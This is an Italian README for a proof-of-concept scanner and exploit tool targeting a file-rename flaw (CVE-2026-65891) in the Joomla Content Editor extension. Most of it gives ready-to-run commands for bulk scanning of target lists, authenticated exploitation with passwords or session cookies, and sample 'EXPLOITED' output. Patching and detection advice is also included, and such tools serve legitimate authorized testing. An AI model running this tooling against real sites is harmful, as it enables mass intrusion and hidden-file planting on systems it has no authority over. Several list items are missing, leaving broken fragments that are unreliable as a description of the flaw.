
CVE-2026-65891 PoC — Joomla Content Editor file rename vulnerability (auth required, fixed in JCE 2.20.2)
Scanner proof-of-concept per CVE-2026-65891 nell'estensione Joomla Content Editor (JCE).
La convalida inadeguata dell'input nella funzione rename del file manager JCE consente a un utente autenticato con permessi di gestione file di:
.shell.php)Solo test autorizzati. Utilizzare su sistemi di propria proprietà o per cui si dispone di esplicita autorizzazione al test.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-65891 |
| Prodotto | JCE (com_jce) — Widget Factory Limited |
| Versioni interessate | JCE < 2.20.2 (fino a 2.20.1 / 2.9.99.9) |
| Corretta | JCE 2.20.2+ (2026-07-29) |
| CVSS 3.1 | 6.5 Medium |
| CWE | CWE-20 — Improper Input Validation |
| Autenticazione | Richiesta — permessi di upload e rename JCE |
| KEV | No |
Questa non è una RCE non autenticata. Non confonderla con CVE-2026-48907 (importazione profilo JCE, non autenticata).
I gestori di rename browser / imgmanager di JCE accettavano nomi di file di destinazione che avrebbero dovuto essere rifiutati:
. (nascosti su POSIX)Corretto in 2.20.2: convalida dell'estensione su rename/copia/spostamento e nessuna sovrascrittura silenziosa.
check (senza credenziali)jce.xml / assetprobe / exploit (credenziali richieste)/administrator/ (o --frontend-login).txt segnaposto tramite plugin.rpc (plugin browser).cve65891_<random>.txt (nascosto)GET /images/.cve65891_*.txt — se il segnaposto è leggibile → EXPLOITEDgit clone https://github.com/YOUR_USER/CVE-2026-65891.git
cd CVE-2026-65891
pip install -r requirements.txt
Requisiti: Python 3.10+
# Scansione versione/fingerprint (bulk, senza auth)
python poc_cve_2026_65891.py -f targets.txt -m check -j 30 -o version_hits.txt
# Singolo target — controllo completo
python poc_cve_2026_65891.py -u https://joomla.example -m check -v
# Test rename autenticato
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--user editor --pass 'YourPassword' -v
# Cookie di sessione invece della password
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--cookie-file cookie.txt -v
EXPLOITED https://joomla.example joomla=True jce=True ver=2.20.1 auth=YES upload=YES rename=YES hidden=YES url=https://joomla.example/images/.cve65891_a1b2c3d4.txt
VULNERABLE https://site.example joomla=True jce=True ver=2.9.99.9 rename=YES err=rename_ok_but_hidden_not_readable
SUSPECT https://old.example joomla=True jce=True ver=2.20.1 err=need_auth_--user_--pass_or_--cookie-file
Solo le righe VULNERABLE e EXPLOITED vengono scritte in -o.
L'account di test deve avere un profilo editor JCE con:
Tipicamente: Editor, Manager o Administrator — non un semplice utente registrato.
Aggiorna JCE a 2.20.2 o successiva
Extensions → Manage → Update oppure scarica da joomlacontenteditor.net
Fino alla correzione: disabilita Rename nelle impostazioni del profilo JCE per i gruppi di utenti non fidati (Image Manager, File Browser).
Cerca richieste autenticate verso:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser
Con method=rename / renameItem e nomi di destinazione che iniziano con ..
File nascosti inattesi nei percorsi di upload JCE (/images/, /media/).
Questo strumento è destinato solo a ricerca sulla sicurezza, istruzione e test di penetrazione autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
MIT — vedi LICENSE.
| Flag | Descrizione |
|---|
-u, --url | URL base Joomla singolo |
-f, --file | Elenco target (un URL per riga) |
-m, --mode | check · probe · exploit · full (default: full) |
-j, --threads | Worker paralleli (default: 15) |
-t, --timeout | Timeout HTTP in secondi (default: 25) |
-o, --output | Scrive solo i risultati VULNERABLE / EXPLOITED |
--user | Nome utente Joomla |
--pass | Password Joomla |
--cookie-file | File con header Cookie: grezzo (salta il login) |
--upload-dir | Directory di upload JCE (default: images) |
--frontend-login | Accesso tramite frontend invece che amministratore |
-v, --verbose | Output di debug |
| Modalità | Auth | Descrizione |
|---|
check | No | Rileva Joomla + JCE + versione |
probe | Sì | Upload + rename nascosto + verifica |
exploit | Sì | Come probe |
full | Sì* | check e poi probe (*probe richiede auth) |